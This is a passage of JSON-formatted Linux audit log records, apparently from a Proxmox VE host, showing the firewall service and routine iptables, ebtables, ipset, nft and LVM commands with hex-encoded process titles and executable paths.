type=PROCTITLE msg=audit(1781964065.662:59447): proctitle=\"iptables-save\""} {"@timestamp":1781965615462,"@rawstring":"node=pve type=PATH msg=audit(1781965615.462:66366): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065656,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.656:59446): proctitle=\"ip6tables-save\""} {"@timestamp":1781965615452,"@rawstring":"node=pve type=PATH msg=audit(1781965615.452:66365): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065649,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.649:59445): proctitle=\"iptables-save\""} {"@timestamp":1781965615452,"@rawstring":"node=pve type=PATH msg=audit(1781965615.452:66365): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065646,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.646:59444): proctitle=\"ebtables-restore\""} {"@timestamp":1781965615441,"@rawstring":"node=pve type=PATH msg=audit(1781965615.441:66364): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065644,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.644:59443): proctitle=\"ebtables-restore\""} {"@timestamp":1781965615441,"@rawstring":"node=pve type=PATH msg=audit(1781965615.441:66364): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065639,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.639:59442): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965615429,"@rawstring":"node=pve type=PATH msg=audit(1781965615.429:66363): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065632,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.632:59441): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965615429,"@rawstring":"node=pve type=PATH msg=audit(1781965615.429:66363): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065626,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.626:59440): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965615421,"@rawstring":"node=pve type=PATH msg=audit(1781965615.421:66362): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065620,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.620:59439): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965615421,"@rawstring":"node=pve type=PATH msg=audit(1781965615.421:66362): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065615,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.615:59438): proctitle=697073657400726573746F7265"} {"@timestamp":1781965615415,"@rawstring":"node=pve type=PATH msg=audit(1781965615.415:66361): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065609,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.609:59437): proctitle=\"ip6tables-save\""} {"@timestamp":1781965615415,"@rawstring":"node=pve type=PATH msg=audit(1781965615.415:66361): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065602,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.602:59436): proctitle=\"iptables-save\""} {"@timestamp":1781965615414,"@rawstring":"node=pve type=PATH msg=audit(1781965615.414:66360): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065598,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.598:59435): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965615414,"@rawstring":"node=pve type=PATH msg=audit(1781965615.414:66360): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065595,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.595:59434): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965615414,"@rawstring":"node=pve type=PATH msg=audit(1781965615.414:66359): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065594,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.594:59433): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965615402,"@rawstring":"node=pve type=PATH msg=audit(1781965615.402:66358): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065594,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.594:59432): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965615402,"@rawstring":"node=pve type=PATH msg=audit(1781965615.402:66358): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065590,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.590:59431): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965615402,"@rawstring":"node=pve type=PATH msg=audit(1781965615.402:66358): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065583,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.583:59430): proctitle=\"ip6tables-save\""} {"@timestamp":1781965615388,"@rawstring":"node=pve type=PATH msg=audit(1781965615.388:66357): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065575,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.575:59429): proctitle=\"iptables-save\""} {"@timestamp":1781965615388,"@rawstring":"node=pve type=PATH msg=audit(1781965615.388:66357): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065569,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.569:59428): proctitle=69707365740073617665"} {"@timestamp":1781965615378,"@rawstring":"node=pve type=PATH msg=audit(1781965615.378:66356): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065562,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.562:59427): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965615378,"@rawstring":"node=pve type=PATH msg=audit(1781965615.378:66356): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964065554,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964065.554:59426): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965615370,"@rawstring":"node=pve type=PATH msg=audit(1781965615.370:66355): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964064574,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964064.574:59425): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965615370,"@rawstring":"node=pve type=PATH msg=audit(1781965615.370:66355): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964064546,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964064.546:59424): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965615360,"@rawstring":"node=pve type=PATH msg=audit(1781965615.360:66354): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964062798,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964062.798:59423): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965615360,"@rawstring":"node=pve type=PATH msg=audit(1781965615.360:66354): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964062798,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964062.798:59422): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965615349,"@rawstring":"node=pve type=PATH msg=audit(1781965615.349:66353): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964062798,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964062.798:59421): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965615349,"@rawstring":"node=pve type=PATH msg=audit(1781965615.349:66353): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964062790,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964062.790:59420): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965614670,"@rawstring":"node=pve type=PATH msg=audit(1781965614.670:66352): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964062790,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964062.790:59419): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965614670,"@rawstring":"node=pve type=PATH msg=audit(1781965614.670:66352): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964062790,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964062.790:59418): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965614645,"@rawstring":"node=pve type=PATH msg=audit(1781965614.645:66351): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964057783,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964057.783:59417): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965614645,"@rawstring":"node=pve type=PATH msg=audit(1781965614.645:66351): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964057783,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964057.783:59416): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965613683,"@rawstring":"node=pve type=PATH msg=audit(1781965613.683:66350): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964057783,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964057.783:59415): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965613683,"@rawstring":"node=pve type=PATH msg=audit(1781965613.683:66350): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964057771,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964057.771:59414): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965613683,"@rawstring":"node=pve type=PATH msg=audit(1781965613.683:66349): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964057771,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964057.771:59413): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965613683,"@rawstring":"node=pve type=PATH msg=audit(1781965613.683:66348): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964057771,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964057.771:59412): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965613676,"@rawstring":"node=pve type=PATH msg=audit(1781965613.676:66347): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055542,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.542:59411): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965613676,"@rawstring":"node=pve type=PATH msg=audit(1781965613.676:66347): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055538,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.538:59410): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965613676,"@rawstring":"node=pve type=PATH msg=audit(1781965613.676:66346): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055536,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.536:59409): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965613676,"@rawstring":"node=pve type=PATH msg=audit(1781965613.676:66345): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055536,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.536:59408): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965608668,"@rawstring":"node=pve type=PATH msg=audit(1781965608.668:66344): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055532,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.532:59407): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965608668,"@rawstring":"node=pve type=PATH msg=audit(1781965608.668:66344): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055526,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.526:59406): proctitle=\"ip6tables-save\""} {"@timestamp":1781965608668,"@rawstring":"node=pve type=PATH msg=audit(1781965608.668:66343): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055520,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.520:59405): proctitle=\"iptables-save\""} {"@timestamp":1781965608668,"@rawstring":"node=pve type=PATH msg=audit(1781965608.668:66342): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055513,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.513:59404): proctitle=\"ip6tables-save\""} {"@timestamp":1781965608662,"@rawstring":"node=pve type=PATH msg=audit(1781965608.662:66341): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055507,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.507:59403): proctitle=\"iptables-save\""} {"@timestamp":1781965608662,"@rawstring":"node=pve type=PATH msg=audit(1781965608.662:66341): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055503,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.503:59402): proctitle=\"ebtables-restore\""} {"@timestamp":1781965608662,"@rawstring":"node=pve type=PATH msg=audit(1781965608.662:66340): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.501:59401): proctitle=\"ebtables-restore\""} {"@timestamp":1781965608662,"@rawstring":"node=pve type=PATH msg=audit(1781965608.662:66339): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055496,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.496:59400): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965605335,"@rawstring":"node=pve type=PATH msg=audit(1781965605.335:66337): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055491,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.491:59399): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965605335,"@rawstring":"node=pve type=PATH msg=audit(1781965605.335:66337): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055484,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.484:59398): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965605314,"@rawstring":"node=pve type=PATH msg=audit(1781965605.314:66336): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055479,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.479:59397): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965605314,"@rawstring":"node=pve type=PATH msg=audit(1781965605.314:66336): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055474,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.474:59396): proctitle=697073657400726573746F7265"} {"@timestamp":1781965605312,"@rawstring":"node=pve type=PATH msg=audit(1781965605.312:66335): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055466,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.466:59395): proctitle=\"ip6tables-save\""} {"@timestamp":1781965605312,"@rawstring":"node=pve type=PATH msg=audit(1781965605.312:66335): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055458,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.458:59394): proctitle=\"iptables-save\""} {"@timestamp":1781965605311,"@rawstring":"node=pve type=PATH msg=audit(1781965605.311:66334): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055454,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.454:59393): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965605301,"@rawstring":"node=pve type=PATH msg=audit(1781965605.301:66333): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055451,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.451:59392): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965605301,"@rawstring":"node=pve type=PATH msg=audit(1781965605.301:66333): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055450,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.450:59391): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965605301,"@rawstring":"node=pve type=PATH msg=audit(1781965605.301:66333): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055450,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.450:59390): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965605272,"@rawstring":"node=pve type=PATH msg=audit(1781965605.272:66332): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055446,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.446:59389): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965605272,"@rawstring":"node=pve type=PATH msg=audit(1781965605.272:66332): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055438,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.438:59388): proctitle=\"ip6tables-save\""} {"@timestamp":1781965605263,"@rawstring":"node=pve type=PATH msg=audit(1781965605.263:66331): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055430,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.430:59387): proctitle=\"iptables-save\""} {"@timestamp":1781965605263,"@rawstring":"node=pve type=PATH msg=audit(1781965605.263:66331): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964055425,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964055.425:59386): proctitle=69707365740073617665"} {"@timestamp":1781965605254,"@rawstring":"node=pve 